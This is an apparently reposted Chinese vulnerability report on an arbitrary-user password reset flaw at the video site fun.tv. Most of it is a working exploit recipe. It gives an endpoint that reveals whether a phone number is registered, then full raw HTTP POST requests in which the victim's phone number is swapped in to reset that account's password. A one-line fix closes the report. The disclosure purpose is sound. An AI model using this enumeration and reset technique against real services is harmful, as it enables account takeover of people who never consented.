今天看啥
热点:

风行网任意用户密码重置漏洞


手机重置密码,密码重置操作没有关联具体的手机号,导致可重置任意手机注册账户的密码。

1. 通过下面url的返回结果,可以遍历出所有的手机注册账户:

http://api1.fun.tv/ajax/get_mobile_vcode/电话号码/reset_password

存在的账户,返回:

{"status":200,"msg":"","url":"","field":""}

不存在的账户,返回:

{"status":400,"msg":"wrong mobile","url":"","field":""}


2. 手机注册一个账号,执行密码找回,输入接受到的验证码,确定后进入密码重置界面;

3. 输入新的密码,开启 fiddler 截获请求,点击确定;

POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
。。。 
user_name=电话号码&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670


3. 直接用第一步获取到的手机号码,替换请求中的电话号码,重新发起请求;在验证码的有效期内,密码被重置成功。

5.png

POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
user_name=18612xxxx10&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670

 

POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
user_name=18612xxx097&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670

解决方案:

凭证用过即失效,凭证和账号关联。

www.bkjia.comtruehttp://www.bkjia.com/wzaq/983559.htmlTechArticle风行网任意用户密码重置漏洞 手机重置密码,密码重置操作没有关联具体的手机号,导致可重置任意手机注册账户的密码。 1. 通过下面u...

相关文章

相关搜索: 漏洞 密码 用户

帮客评论

视觉看点